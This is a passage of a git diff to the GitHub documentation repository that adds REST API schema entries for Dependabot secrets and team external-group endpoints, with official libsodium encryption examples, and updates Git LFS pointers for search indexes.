+              "type": "integer"
+            }
+          }
+        ],
+        "responses": {
+          "204": {
+            "description": "No Content when repository was added to the selected list"
+          },
+          "409": {
+            "description": "Conflict when visibility type is not set to selected"
+          }
+        },
+        "x-github": {
+          "githubCloudOnly": false,
+          "enabledForGitHubApps": true,
+          "category": "dependabot",
+          "subcategory": "secrets"
+        }
+      },
+      "delete": {
+        "summary": "Remove selected repository from an organization secret",
+        "description": "Removes a repository from an organization secret when the `visibility` for repository access is set to `selected`. The visibility is set when you [Create or update an organization secret](https://docs.github.com/rest/reference/dependabot#create-or-update-an-organization-secret). You must authenticate using an access token with the `admin:org` scope to use this endpoint. GitHub Apps must have the `dependabot_secrets` organization permission to use this endpoint.",
+        "tags": [
+          "dependabot"
+        ],
+        "operationId": "dependabot/remove-selected-repo-from-org-secret",
+        "externalDocs": {
+          "description": "API method documentation",
+          "url": "https://docs.github.com/rest/reference/dependabot#remove-selected-repository-from-an-organization-secret"
+        },
+        "parameters": [
+          {
+            "name": "org",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "secret_name",
+            "description": "secret_name parameter",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "repository_id",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "integer"
+            }
+          }
+        ],
+        "responses": {
+          "204": {
+            "description": "Response when repository was removed from the selected list"
+          },
+          "409": {
+            "description": "Conflict when visibility type not set to selected"
+          }
+        },
+        "x-github": {
+          "githubCloudOnly": false,
+          "enabledForGitHubApps": true,
+          "category": "dependabot",
+          "subcategory": "secrets"
+        }
+      }
+    },
     "/orgs/{org}/events": {
       "get": {
         "summary": "List public organization events",
@@ -216842,6 +219454,442 @@
         }
       }
     },
+    "/repos/{owner}/{repo}/dependabot/secrets": {
+      "get": {
+        "summary": "List repository secrets",
+        "description": "Lists all secrets available in a repository without revealing their encrypted values. You must authenticate using an access token with the `repo` scope to use this endpoint. GitHub Apps must have the `dependabot_secrets` repository permission to use this endpoint.",
+        "tags": [
+          "dependabot"
+        ],
+        "operationId": "dependabot/list-repo-secrets",
+        "externalDocs": {
+          "description": "API method documentation",
+          "url": "https://docs.github.com/rest/reference/dependabot#list-repository-secrets"
+        },
+        "parameters": [
+          {
+            "name": "owner",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "repo",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "per_page",
+            "description": "Results per page (max 100)",
+            "in": "query",
+            "schema": {
+              "type": "integer",
+              "default": 30
+            }
+          },
+          {
+            "name": "page",
+            "description": "Page number of the results to fetch.",
+            "in": "query",
+            "schema": {
+              "type": "integer",
+              "default": 1
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "Response",
+            "content": {
+              "application/json": {
+                "schema": {
+                  "type": "object",
+                  "required": [
+                    "total_count",
+                    "secrets"
+                  ],
+                  "properties": {
+                    "total_count": {
+                      "type": "integer"
+                    },
+                    "secrets": {
+                      "type": "array",
+                      "items": {
+                        "title": "Dependabot Secret",
+                        "description": "Set secrets for Dependabot.",
+                        "type": "object",
+                        "properties": {
+                          "name": {
+                            "description": "The name of the secret.",
+                            "example": "MY_ARTIFACTORY_PASSWORD",
+                            "type": "string"
+                          },
+                          "created_at": {
+                            "type": "string",
+                            "format": "date-time"
+                          },
+                          "updated_at": {
+                            "type": "string",
+                            "format": "date-time"
+                          }
+                        },
+                        "required": [
+                          "name",
+                          "created_at",
+                          "updated_at"
+                        ]
+                      }
+                    }
+                  }
+                },
+                "examples": {
+                  "default": {
+                    "value": {
+                      "total_count": 2,
+                      "secrets": [
+                        {
+                          "name": "AZURE_DEVOPS_PAT",
+                          "created_at": "2019-08-10T14:59:22Z",
+                          "updated_at": "2020-01-10T14:59:22Z"
+                        },
+                        {
+                          "name": "MY_ARTIFACTORY_PASSWORD",
+                          "created_at": "2020-01-10T10:59:22Z",
+                          "updated_at": "2020-01-11T11:59:22Z"
+                        }
+                      ]
+                    }
+                  }
+                }
+              }
+            },
+            "headers": {
+              "Link": {
+                "example": "<https://api.github.com/resource?page=2>; rel=\"next\", <https://api.github.com/resource?page=5>; rel=\"last\"",
+                "schema": {
+                  "type": "string"
+                }
+              }
+            }
+          }
+        },
+        "x-github": {
+          "githubCloudOnly": false,
+          "enabledForGitHubApps": true,
+          "category": "dependabot",
+          "subcategory": "secrets"
+        }
+      }
+    },
+    "/repos/{owner}/{repo}/dependabot/secrets/public-key": {
+      "get": {
+        "summary": "Get a repository public key",
+        "description": "Gets your public key, which you need to encrypt secrets. You need to encrypt a secret before you can create or update secrets. Anyone with read access to the repository can use this endpoint. If the repository is private you must use an access token with the `repo` scope. GitHub Apps must have the `dependabot_secrets` repository permission to use this endpoint.",
+        "tags": [
+          "dependabot"
+        ],
+        "operationId": "dependabot/get-repo-public-key",
+        "externalDocs": {
+          "description": "API method documentation",
+          "url": "https://docs.github.com/rest/reference/dependabot#get-a-repository-public-key"
+        },
+        "parameters": [
+          {
+            "name": "owner",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "repo",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "Response",
+            "content": {
+              "application/json": {
+                "schema": {
+                  "title": "DependabotPublicKey",
+                  "description": "The public key used for setting Dependabot Secrets.",
+                  "type": "object",
+                  "properties": {
+                    "key_id": {
+                      "description": "The identifier for the key.",
+                      "type": "string",
+                      "example": "1234567"
+                    },
+                    "key": {
+                      "description": "The Base64 encoded public key.",
+                      "type": "string",
+                      "example": "hBT5WZEj8ZoOv6TYJsfWq7MxTEQopZO5/IT3ZCVQPzs="
+                    }
+                  },
+                  "required": [
+                    "key_id",
+                    "key"
+                  ]
+                },
+                "examples": {
+                  "default": {
+                    "value": {
+                      "key_id": "012345678912345678",
+                      "key": "2Sg8iYjAxxmI2LvUXpJjkYrMxURPc8r+dB7TJyvv1234"
+                    }
+                  }
+                }
+              }
+            }
+          }
+        },
+        "x-github": {
+          "githubCloudOnly": false,
+          "enabledForGitHubApps": true,
+          "category": "dependabot",
+          "subcategory": "secrets"
+        }
+      }
+    },
+    "/repos/{owner}/{repo}/dependabot/secrets/{secret_name}": {
+      "get": {
+        "summary": "Get a repository secret",
+        "description": "Gets a single repository secret without revealing its encrypted value. You must authenticate using an access token with the `repo` scope to use this endpoint. GitHub Apps must have the `dependabot_secrets` repository permission to use this endpoint.",
+        "tags": [
+          "dependabot"
+        ],
+        "operationId": "dependabot/get-repo-secret",
+        "externalDocs": {
+          "description": "API method documentation",
+          "url": "https://docs.github.com/rest/reference/dependabot#get-a-repository-secret"
+        },
+        "parameters": [
+          {
+            "name": "owner",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "repo",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "secret_name",
+            "description": "secret_name parameter",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "Response",
+            "content": {
+              "application/json": {
+                "schema": {
+                  "title": "Dependabot Secret",
+                  "description": "Set secrets for Dependabot.",
+                  "type": "object",
+                  "properties": {
+                    "name": {
+                      "description": "The name of the secret.",
+                      "example": "MY_ARTIFACTORY_PASSWORD",
+                      "type": "string"
+                    },
+                    "created_at": {
+                      "type": "string",
+                      "format": "date-time"
+                    },
+                    "updated_at": {
+                      "type": "string",
+                      "format": "date-time"
+                    }
+                  },
+                  "required": [
+                    "name",
+                    "created_at",
+                    "updated_at"
+                  ]
+                },
+                "examples": {
+                  "default": {
+                    "value": {
+                      "name": "MY_ARTIFACTORY_PASSWORD",
+                      "created_at": "2019-08-10T14:59:22Z",
+                      "updated_at": "2020-01-10T14:59:22Z"
+                    }
+                  }
+                }
+              }
+            }
+          }
+        },
+        "x-github": {
+          "githubCloudOnly": false,
+          "enabledForGitHubApps": true,
+          "category": "dependabot",
+          "subcategory": "secrets"
+        }
+      },
+      "put": {
+        "summary": "Create or update a repository secret",
+        "description": "Creates or updates a repository secret with an encrypted value. Encrypt your secret using\n[LibSodium](https://libsodium.gitbook.io/doc/bindings_for_other_languages). You must authenticate using an access\ntoken with the `repo` scope to use this endpoint. GitHub Apps must have the `dependabot_secrets` repository\npermission to use this endpoint.\n\n#### Example encrypting a secret using Node.js\n\nEncrypt your secret using the [tweetsodium](https://github.com/github/tweetsodium) library.\n\n```\nconst sodium = require('tweetsodium');\n\nconst key = \"base64-encoded-public-key\";\nconst value = \"plain-text-secret\";\n\n// Convert the message and key to Uint8Array's (Buffer implements that interface)\nconst messageBytes = Buffer.from(value);\nconst keyBytes = Buffer.from(key, 'base64');\n\n// Encrypt using LibSodium.\nconst encryptedBytes = sodium.seal(messageBytes, keyBytes);\n\n// Base64 the encrypted secret\nconst encrypted = Buffer.from(encryptedBytes).toString('base64');\n\nconsole.log(encrypted);\n```\n\n\n#### Example encrypting a secret using Python\n\nEncrypt your secret using [pynacl](https://pynacl.readthedocs.io/en/stable/public/#nacl-public-sealedbox) with Python 3.\n\n```\nfrom base64 import b64encode\nfrom nacl import encoding, public\n\ndef encrypt(public_key: str, secret_value: str) -> str:\n  \"\"\"Encrypt a Unicode string using the public key.\"\"\"\n  public_key = public.PublicKey(public_key.encode(\"utf-8\"), encoding.Base64Encoder())\n  sealed_box = public.SealedBox(public_key)\n  encrypted = sealed_box.encrypt(secret_value.encode(\"utf-8\"))\n  return b64encode(encrypted).decode(\"utf-8\")\n```\n\n#### Example encrypting a secret using C#\n\nEncrypt your secret using the [Sodium.Core](https://www.nuget.org/packages/Sodium.Core/) package.\n\n```\nvar secretValue = System.Text.Encoding.UTF8.GetBytes(\"mySecret\");\nvar publicKey = Convert.FromBase64String(\"2Sg8iYjAxxmI2LvUXpJjkYrMxURPc8r+dB7TJyvvcCU=\");\n\nvar sealedPublicKeyBox = Sodium.SealedPublicKeyBox.Create(secretValue, publicKey);\n\nConsole.WriteLine(Convert.ToBase64String(sealedPublicKeyBox));\n```\n\n#### Example encrypting a secret using Ruby\n\nEncrypt your secret using the [rbnacl](https://github.com/RubyCrypto/rbnacl) gem.\n\n```ruby\nrequire \"rbnacl\"\nrequire \"base64\"\n\nkey = Base64.decode64(\"+ZYvJDZMHUfBkJdyq5Zm9SKqeuBQ4sj+6sfjlH4CgG0=\")\npublic_key = RbNaCl::PublicKey.new(key)\n\nbox = RbNaCl::Boxes::Sealed.from_public_key(public_key)\nencrypted_secret = box.encrypt(\"my_secret\")\n\n# Print the base64 encoded secret\nputs Base64.strict_encode64(encrypted_secret)\n```",
+        "tags": [
+          "dependabot"
+        ],
+        "operationId": "dependabot/create-or-update-repo-secret",
+        "externalDocs": {
+          "description": "API method documentation",
+          "url": "https://docs.github.com/rest/reference/dependabot#create-or-update-a-repository-secret"
+        },
+        "parameters": [
+          {
+            "name": "owner",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "repo",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "secret_name",
+            "description": "secret_name parameter",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          }
+        ],
+        "requestBody": {
+          "required": true,
+          "content": {
+            "application/json": {
+              "schema": {
+                "type": "object",
+                "properties": {
+                  "encrypted_value": {
+                    "type": "string",
+                    "description": "Value for your secret, encrypted with [LibSodium](https://libsodium.gitbook.io/doc/bindings_for_other_languages) using the public key retrieved from the [Get a repository public key](https://docs.github.com/rest/reference/dependabot#get-a-repository-public-key) endpoint.",
+                    "pattern": "^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{4})$"
+                  },
+                  "key_id": {
+                    "type": "string",
+                    "description": "ID of the key you used to encrypt the secret."
+                  }
+                }
+              },
+              "example": {
+                "encrypted_value": "c2VjcmV0",
+                "key_id": "012345678912345678"
+              }
+            }
+          }
+        },
+        "responses": {
+          "201": {
+            "description": "Response when creating a secret",
+            "content": {
+              "application/json": {
+                "schema": {
+                  "type": "object",
+                  "properties": {
+                  },
+                  "additionalProperties": false
+                }
+              }
+            }
+          },
+          "204": {
+            "description": "Response when updating a secret"
+          }
+        },
+        "x-github": {
+          "githubCloudOnly": false,
+          "enabledForGitHubApps": true,
+          "category": "dependabot",
+          "subcategory": "secrets"
+        }
+      },
+      "delete": {
+        "summary": "Delete a repository secret",
+        "description": "Deletes a secret in a repository using the secret name. You must authenticate using an access token with the `repo` scope to use this endpoint. GitHub Apps must have the `dependabot_secrets` repository permission to use this endpoint.",
+        "tags": [
+          "dependabot"
+        ],
+        "operationId": "dependabot/delete-repo-secret",
+        "externalDocs": {
+          "description": "API method documentation",
+          "url": "https://docs.github.com/rest/reference/dependabot#delete-a-repository-secret"
+        },
+        "parameters": [
+          {
+            "name": "owner",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "repo",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "secret_name",
+            "description": "secret_name parameter",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          }
+        ],
+        "responses": {
+          "204": {
+            "description": "Response"
+          }
+        },
+        "x-github": {
+          "githubCloudOnly": false,
+          "enabledForGitHubApps": true,
+          "category": "dependabot",
+          "subcategory": "secrets"
+        }
+      }
+    },
     "/repos/{owner}/{repo}/deployments": {
       "get": {
         "summary": "List deployments",
diff --git a/lib/rest/static/dereferenced/github.ae.deref.json b/lib/rest/static/dereferenced/github.ae.deref.json
index 7ed46e9a62..fa9c701db4 100644
--- a/lib/rest/static/dereferenced/github.ae.deref.json
+++ b/lib/rest/static/dereferenced/github.ae.deref.json
@@ -35800,6 +35800,123 @@
         }
       }
     },
+    "/organizations/{org}/team/{team_slug}/external-groups": {
+      "get": {
+        "summary": "List a connection between an external group and a team",
+        "description": "Lists a connection between a team and an external group.\n\nYou can manage team membership with your identity provider using Enterprise Managed Users for GitHub Enterprise Cloud. For more information, see \"[GitHub's products](https://docs.github.com/github-ae@latest/github/getting-started-with-github/githubs-products)\" in the GitHub Help documentation.",
+        "tags": [
+          "teams"
+        ],
+        "operationId": "teams/list-linked-external-idp-groups-to-team-for-org",
+        "externalDocs": {
+          "description": "API method documentation",
+          "url": "https://docs.github.com/github-ae@latest/rest/reference/teams#list-external-idp-group-team-connection"
+        },
+        "parameters": [
+          {
+            "name": "org",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "team_slug",
+            "description": "team_slug parameter",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "Response",
+            "content": {
+              "application/json": {
+                "schema": {
+                  "title": "ExternalGroups",
+                  "description": "A list of external groups available to be connected to a team",
+                  "type": "object",
+                  "properties": {
+                    "groups": {
+                      "description": "An array of external groups available to be mapped to a team",
+                      "example": [
+                        {
+                          "group_id": 1,
+                          "group_name": "group-azuread-test",
+                          "updated_at": "2021-01-03 22:27:15:000 -700"
+                        },
+                        {
+                          "group_id": 2,
+                          "group_name": "group-azuread-test2",
+                          "updated_at": "2021-06-03 22:27:15:000 -700"
+                        }
+                      ],
+                      "type": "array",
+                      "items": {
+                        "type": "object",
+                        "required": [
+                          "group_id",
+                          "group_name",
+                          "updated_at"
+                        ],
+                        "properties": {
+                          "group_id": {
+                            "description": "The internal ID of the group",
+                            "example": 1,
+                            "type": "integer"
+                          },
+                          "group_name": {
+                            "description": "The display name of the group",
+                            "example": "group-azuread-test",
+                            "type": "string"
+                          },
+                          "updated_at": {
+                            "description": "The time of the last update for this group",
+                            "example": "2019-06-03 22:27:15:000 -700",
+                            "type": "string"
+                          }
+                        }
+                      }
+                    }
+                  }
+                },
+                "examples": {
+                  "default": {
+                    "value": {
+                      "groups": [
+                        {
+                          "group_id": "123",
+                          "group_name": "Octocat admins",
+                          "updated_at": "2021-01-24T11:31:04-06:00"
+                        },
+                        {
+                          "group_id": "456",
+                          "group_name": "Octocat docs members",
+                          "updated_at": "2021-03-24T11:31:04-06:00"
+                        }
+                      ]
+                    }
+                  }
+                }
+              }
+            }
+          }
+        },
+        "x-github": {
+          "githubCloudOnly": true,
+          "enabledForGitHubApps": true,
+          "previews": [
+
+          ],
+          "category": "teams",
+          "subcategory": "external-groups"
+        }
+      }
+    },
     "/orgs/{org}": {
       "get": {
         "summary": "Get an organization",
diff --git a/lib/search/indexes/github-docs-3.0-cn-records.json.br b/lib/search/indexes/github-docs-3.0-cn-records.json.br
index 49660b3fec..c4a77623df 100644
--- a/lib/search/indexes/github-docs-3.0-cn-records.json.br
+++ b/lib/search/indexes/github-docs-3.0-cn-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:7e6e14672daa356488457ab305eb75154202459b93e047457f824d1bfc23f9dc
-size 614232
+oid sha256:e418d59e441e8b37acae72a572adf98f7e24667e2885e4c410aad9ccd526cfd8
+size 648341
diff --git a/lib/search/indexes/github-docs-3.0-cn.json.br b/lib/search/indexes/github-docs-3.0-cn.json.br
index cbf90644d5..05a9ac355b 100644
--- a/lib/search/indexes/github-docs-3.0-cn.json.br
+++ b/lib/search/indexes/github-docs-3.0-cn.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:b3590a60e2ede21e943b7ac6d2eb08557db45b89649280b890134f733c9b01b2
-size 1746093
+oid sha256:5a2b782983f38fe057df079e738e6627802abd058ee299cc5dfb895bb630f0d5
+size 1347867
diff --git a/lib/search/indexes/github-docs-3.0-en-records.json.br b/lib/search/indexes/github-docs-3.0-en-records.json.br
index 916a44d3ab..57ce8c8b08 100644
--- a/lib/search/indexes/github-docs-3.0-en-records.json.br
+++ b/lib/search/indexes/github-docs-3.0-en-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:7f013b8c5d26ef0efbb153b29233bdc741430d2d64d9ea4a70daeadc73bd650e
-size 953503
+oid sha256:0fc78421b7f7182f6235b603e273eeb6dcccc3f386d4eaff183a29f057866832
+size 954559
diff --git a/lib/search/indexes/github-docs-3.0-en.json.br b/lib/search/indexes/github-docs-3.0-en.json.br
index 7bfc493cd1..f87d805060 100644
--- a/lib/search/indexes/github-docs-3.0-en.json.br
+++ b/lib/search/indexes/github-docs-3.0-en.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:a33b95ecb3f8dcf38981699c51bc527aa2793d68bb3f4d9fce7402602a84ebe2
-size 3908720
+oid sha256:85d0aeb0ecae0b66bfd3c8df48050e0b291963ed41ea55cfb14efcd9c2ea75a8
+size 3918740
diff --git a/lib/search/indexes/github-docs-3.0-es-records.json.br b/lib/search/indexes/github-docs-3.0-es-records.json.br
index 4bac84f438..6be9bc52d2 100644
--- a/lib/search/indexes/github-docs-3.0-es-records.json.br
+++ b/lib/search/indexes/github-docs-3.0-es-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:9258a3bbb825046afbfbc1b236b41bb6dc4a59a8b0ef5efe3c15fa34a7495eb7
-size 583218
+oid sha256:f6cf32e5e9e145371aef1c7f027976e3ee17125949a209a589266a920839a700
+size 602067
diff --git a/lib/search/indexes/github-docs-3.0-es.json.br b/lib/search/indexes/github-docs-3.0-es.json.br
index 23787699da..199bcb6379 100644
--- a/lib/search/indexes/github-docs-3.0-es.json.br
+++ b/lib/search/indexes/github-docs-3.0-es.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:51d209eb88668dcff6dac091fe684e490b853ca7dca7c582593f86058d3c4653
-size 2697374
+oid sha256:e36608119e75c56af567b9bb42bc7c4de4572ae68206c42411306b1540199972
+size 2555635
diff --git a/lib/search/indexes/github-docs-3.0-ja-records.json.br b/lib/search/indexes/github-docs-3.0-ja-records.json.br
index 290eff35bf..44f0b9f92a 100644
--- a/lib/search/indexes/github-docs-3.0-ja-records.json.br
+++ b/lib/search/indexes/github-docs-3.0-ja-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:f7c30e6382bc4f8adc59f208f95f35e068efef1193c0e710b023d46ff25ab94b
-size 617864
+oid sha256:86668f2b169773395d0d59ac6a9322f1e08762fa7c52717c87c5326ee0a73ebe
+size 666922
diff --git a/lib/search/indexes/github-docs-3.0-ja.json.br b/lib/search/indexes/github-docs-3.0-ja.json.br
index 1a3c431c4b..0895b55b83 100644
--- a/lib/search/indexes/github-docs-3.0-ja.json.br
+++ b/lib/search/indexes/github-docs-3.0-ja.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:6e43e124333207dedb4b571ef8ced1e040a8f9d8a0c93f4a29be285abef7057a
-size 3476083
+oid sha256:03b160f89f9dfafe646fc30168912876f06e40c6a4da62ec1cc7c76f3e207b96
+size 3549685
diff --git a/lib/search/indexes/github-docs-3.0-pt-records.json.br b/lib/search/indexes/github-docs-3.0-pt-records.json.br
index df387335c6..8330ac9476 100644
--- a/lib/search/indexes/github-docs-3.0-pt-records.json.br
+++ b/lib/search/indexes/github-docs-3.0-pt-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:8c1497c28bc73439d6b4576ee6baa9a5353a59a0ce9e17701fe2cd56b176b50d
-size 595908
+oid sha256:8a8f181b2f53cf4e17401a4343732be1f2693214b4e17cf05ee50ac59b753966
+size 592290
diff --git a/lib/search/indexes/github-docs-3.0-pt.json.br b/lib/search/indexes/github-docs-3.0-pt.json.br
index 2f57f4aa06..d0eb94bb21 100644
--- a/lib/search/indexes/github-docs-3.0-pt.json.br
+++ b/lib/search/indexes/github-docs-3.0-pt.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:c4413ffabe60e3f0ec56b5f5d626a51d20ee5a987a64a05af54d168358620307
-size 2817510
+oid sha256:d8a23f77572594769e859a2152a28e3458b42029a92018f3a413d89583cf3440
+size 2431955
diff --git a/lib/search/indexes/github-docs-3.1-cn-records.json.br b/lib/search/indexes/github-docs-3.1-cn-records.json.br
index be8ed2bbc4..43aa85c778 100644
--- a/lib/search/indexes/github-docs-3.1-cn-records.json.br
+++ b/lib/search/indexes/github-docs-3.1-cn-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:dddba8b0e85a1ab4d5de2bce34cb26674b2a0d651b0f6afc4269ccdabf2bc38b
-size 627736
+oid sha256:b4bfc7ffb4431a62ee44a4ae45bfeecc877741dc426ae34ceb3b995dd9669b6b
+size 662514
diff --git a/lib/search/indexes/github-docs-3.1-cn.json.br b/lib/search/indexes/github-docs-3.1-cn.json.br
index da844e5981..ca040de4d7 100644
--- a/lib/search/indexes/github-docs-3.1-cn.json.br
+++ b/lib/search/indexes/github-docs-3.1-cn.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:41d8d8dae29f29f2f261097c00b5a0eabac7143e068daa9dd99550e5c5ae8df2
-size 1787720
+oid sha256:5fd206be2ff43aa6c3e6351a7bccbb0ab24656c23ef1e4b08b09f0daa175e667
+size 1385084
diff --git a/lib/search/indexes/github-docs-3.1-en-records.json.br b/lib/search/indexes/github-docs-3.1-en-records.json.br
index 08b8f2e909..2ef9231f7b 100644
--- a/lib/search/indexes/github-docs-3.1-en-records.json.br
+++ b/lib/search/indexes/github-docs-3.1-en-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:aabe9f6e6eb75cc23846a668f16f65ad6781af598430419ed3ea79ea273d307b
-size 978561
+oid sha256:38abb6d1fa0bcbc1ababb67f080fa2858579fd742e9096402c0083420034fd3a
+size 979467
diff --git a/lib/search/indexes/github-docs-3.1-en.json.br b/lib/search/indexes/github-docs-3.1-en.json.br
index 20ec296e54..b3349eb770 100644
--- a/lib/search/indexes/github-docs-3.1-en.json.br
+++ b/lib/search/indexes/github-docs-3.1-en.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:06a862d69f7cf20042e98856f9b63695a319b65f03dddb1ea9ce62cf04c98cb0
-size 3999358
+oid sha256:607c5afb6d359239d50d141ef83e4def077c9d27de0b988aec666405c254fa04
+size 4011110
diff --git a/lib/search/indexes/github-docs-3.1-es-records.json.br b/lib/search/indexes/github-docs-3.1-es-records.json.br
index d20f179018..b422b20524 100644
--- a/lib/search/indexes/github-docs-3.1-es-records.json.br
+++ b/lib/search/indexes/github-docs-3.1-es-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:baf3cb7ee29549ac009c551760db099075bcbe065ca887fe2e11fd310675ed91
-size 595427
+oid sha256:4b49af4fd91feb16aae98745ed994f4f460143931aab712cf3b47e5dc486825d
+size 614409
diff --git a/lib/search/indexes/github-docs-3.1-es.json.br b/lib/search/indexes/github-docs-3.1-es.json.br
index 11c33ee02a..abdafde366 100644
--- a/lib/search/indexes/github-docs-3.1-es.json.br
+++ b/lib/search/indexes/github-docs-3.1-es.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:459d45c3c9859fca6d6ec2fe8958b987f7d70a9f3e82fe46ee4c42ff5d2fb46c
-size 2758694
+oid sha256:f51b7fd6be26b4eb09fcbc775e60dbf5dace3f2da95dd971b934b69902f292d4
+size 2616344
diff --git a/lib/search/indexes/github-docs-3.1-ja-records.json.br b/lib/search/indexes/github-docs-3.1-ja-records.json.br
index 3de22114e1..6f69ede143 100644
--- a/lib/search/indexes/github-docs-3.1-ja-records.json.br
+++ b/lib/search/indexes/github-docs-3.1-ja-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:f2b851b6059c105ec7e16e50c728f9ca5050147bb2ee5a6dba972ccf9973fe81
-size 630936
+oid sha256:b64ccc522f26e5f63183321ed6f9ea57d4588b18f4c54d4bad614c5adbedba96
+size 680944
diff --git a/lib/search/indexes/github-docs-3.1-ja.json.br b/lib/search/indexes/github-docs-3.1-ja.json.br
index ecc8e9f73e..afc544039d 100644
--- a/lib/search/indexes/github-docs-3.1-ja.json.br
+++ b/lib/search/indexes/github-docs-3.1-ja.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:dba25b874f4387de4008053ccc7145735685600c22f41b5e224861c206f9957e
-size 3555891
+oid sha256:202a67d3e86b702231bd5a771b218d35d4063c92917e8e0327753b6b7574b2c8
+size 3627773
diff --git a/lib/search/indexes/github-docs-3.1-pt-records.json.br b/lib/search/indexes/github-docs-3.1-pt-records.json.br
index c6b6ab82ec..62c8d7c22c 100644
--- a/lib/search/indexes/github-docs-3.1-pt-records.json.br
+++ b/lib/search/indexes/github-docs-3.1-pt-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:0867a67a26f2b84806ada78dc564b9dd604a6b3f326005e91f7378fcf0785305
-size 608330
+oid sha256:ce960413e54da1e8ccf925bcdfc58bc674c05bedd4ce60c0e6a452bcc357efec
+size 604394
diff --git a/lib/search/indexes/github-docs-3.1-pt.json.br b/lib/search/indexes/github-docs-3.1-pt.json.br
index 608be35800..682e990dcc 100644
--- a/lib/search/indexes/github-docs-3.1-pt.json.br
+++ b/lib/search/indexes/github-docs-3.1-pt.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:54b243eeade0dbecabda058858ff292dddd82bce1586f31edd78a4242d0368f4
-size 2882526
+oid sha256:96c1848194a86829d55e11db586340983af878b5e4df7315716af59c7fa56210
+size 2484318
diff --git a/lib/search/indexes/github-docs-3.2-cn-records.json.br b/lib/search/indexes/github-docs-3.2-cn-records.json.br
index 7e68a08844..3b1e06b5ac 100644
--- a/lib/search/indexes/github-docs-3.2-cn-records.json.br
+++ b/lib/search/indexes/github-docs-3.2-cn-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:a71575ebf0b664e953106b96fbebb24b51688010a8de54a685b76b3e09520953
-size 639225
+oid sha256:351dbdd7f609afb0cf2bef6ecaf25b675a07be113fd52805518807a762d552c0
+size 675356
diff --git a/lib/search/indexes/github-docs-3.2-cn.json.br b/lib/search/indexes/github-docs-3.2-cn.json.br
index ea0081a388..876a4ef973 100644
--- a/lib/search/indexes/github-docs-3.2-cn.json.br
+++ b/lib/search/indexes/github-docs-3.2-cn.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:738f2563ef61d88e6415cd87cd0ae540fe7d9999d840eda629163bf2a5d8c4b7
-size 1814295
+oid sha256:94d962b934b47a75c485996943605d1368b4f79b3a3c9d31b36ad45c39fed725
+size 1409568
diff --git a/lib/search/indexes/github-docs-3.2-en-records.json.br b/lib/search/indexes/github-docs-3.2-en-records.json.br
index 1358fbea3d..c734b77401 100644
--- a/lib/search/indexes/github-docs-3.2-en-records.json.br
+++ b/lib/search/indexes/github-docs-3.2-en-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
